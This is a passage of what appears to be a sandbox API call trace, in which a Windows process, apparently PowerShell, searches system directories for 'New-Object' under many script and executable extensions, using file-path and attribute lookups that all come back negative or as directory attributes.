GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.405] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.JS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.JS", lpFilePart=0x0) returned 0x18 [0122.405] GetFullPathNameW (in: lpFileName="New-Object.JS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.JS", lpFilePart=0x0) returned 0x2b [0122.405] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.JS", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.405] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.405] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.405] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.405] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.JSE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.JSE", lpFilePart=0x0) returned 0x19 [0122.406] GetFullPathNameW (in: lpFileName="New-Object.JSE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.JSE", lpFilePart=0x0) returned 0x2c [0122.406] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.JSE", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.406] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.406] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.406] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.406] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.WSF", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.WSF", lpFilePart=0x0) returned 0x19 [0122.406] GetFullPathNameW (in: lpFileName="New-Object.WSF", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.WSF", lpFilePart=0x0) returned 0x2c [0122.406] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.WSF", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.406] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.407] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.407] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.407] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.WSH", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.WSH", lpFilePart=0x0) returned 0x19 [0122.407] GetFullPathNameW (in: lpFileName="New-Object.WSH", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.WSH", lpFilePart=0x0) returned 0x2c [0122.407] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.WSH", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.407] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.407] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.407] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.407] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.MSC", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.MSC", lpFilePart=0x0) returned 0x19 [0122.407] GetFullPathNameW (in: lpFileName="New-Object.MSC", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.MSC", lpFilePart=0x0) returned 0x2c [0122.407] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.MSC", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.408] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.408] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.408] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.408] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object.CPL", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object.CPL", lpFilePart=0x0) returned 0x19 [0122.408] GetFullPathNameW (in: lpFileName="New-Object.CPL", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.CPL", lpFilePart=0x0) returned 0x2c [0122.408] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object.CPL", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.408] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.408] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90fee405, ftCreationTime.dwHighDateTime=0x1d0baef, ftLastAccessTime.dwLowDateTime=0x6e3e4724, ftLastAccessTime.dwHighDateTime=0x1d336e4, ftLastWriteTime.dwLowDateTime=0x6e3e4724, ftLastWriteTime.dwHighDateTime=0x1d336e4, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0122.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.409] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0122.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\New-Object", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\New-Object", lpFilePart=0x0) returned 0x15 [0122.409] GetFullPathNameW (in: lpFileName="New-Object", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object", lpFilePart=0x0) returned 0x28 [0122.409] FindFirstFileW (in: lpFileName="C:\\Windows\\New-Object", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.409] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.409] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.409] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.ps1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\New-Object.ps1", lpFilePart=0x0) returned 0x27 [0122.409] GetFullPathNameW (in: lpFileName="New-Object.ps1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.ps1", lpFilePart=0x0) returned 0x2c [0122.409] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.ps1", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6d8) returned 1 [0122.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae648) returned 1 [0122.412] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae644) returned 1 [0122.412] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6c0) returned 1 [0122.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.412] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.psm1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\New-Object.psm1", lpFilePart=0x0) returned 0x28 [0122.412] GetFullPathNameW (in: lpFileName="New-Object.psm1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.psm1", lpFilePart=0x0) returned 0x2d [0122.412] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.psm1", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.413] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae6cc) returned 1 [0122.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.413] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.413] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.psd1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\New-Object.psd1", lpFilePart=0x0) returned 0x28 [0122.413] GetFullPathNameW (in: lpFileName="New-Object.psd1", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.psd1", lpFilePart=0x0) returned 0x2d [0122.414] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.psd1", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.415] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.415] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.415] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.415] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.COM", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\New-Object.COM", lpFilePart=0x0) returned 0x27 [0122.415] GetFullPathNameW (in: lpFileName="New-Object.COM", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.COM", lpFilePart=0x0) returned 0x2c [0122.415] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.COM", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.416] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.416] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.416] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.416] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.EXE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\New-Object.EXE", lpFilePart=0x0) returned 0x27 [0122.416] GetFullPathNameW (in: lpFileName="New-Object.EXE", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.EXE", lpFilePart=0x0) returned 0x2c [0122.416] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.EXE", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.418] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.418] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.418] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.418] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.BAT", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\New-Object.BAT", lpFilePart=0x0) returned 0x27 [0122.418] GetFullPathNameW (in: lpFileName="New-Object.BAT", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.BAT", lpFilePart=0x0) returned 0x2c [0122.418] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.BAT", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.419] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.419] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.419] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.419] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.CMD", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\New-Object.CMD", lpFilePart=0x0) returned 0x27 [0122.419] GetFullPathNameW (in: lpFileName="New-Object.CMD", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\New-Object.CMD", lpFilePart=0x0) returned 0x2c [0122.419] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.CMD", lpFindFileData=0x99ae3e8 | out: lpFindFileData=0x99ae3e8) returned 0xffffffff [0122.420] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.420] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x99ae6c4 | out: lpFileInformation=0x99ae6c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b57964, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b57964, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1 [0122.421] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x105, lpBuffer=0x99ae1c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0122.421] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem\\New-Object.VBS", nBufferLength=0x105, lpBuffer=0x99ae19c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem\\New-Object.VBS", lpFilePart=0x0) returned 0x27 [0122.421] GetFullPathNameW (in: lpFileName="New-Object.VBS", 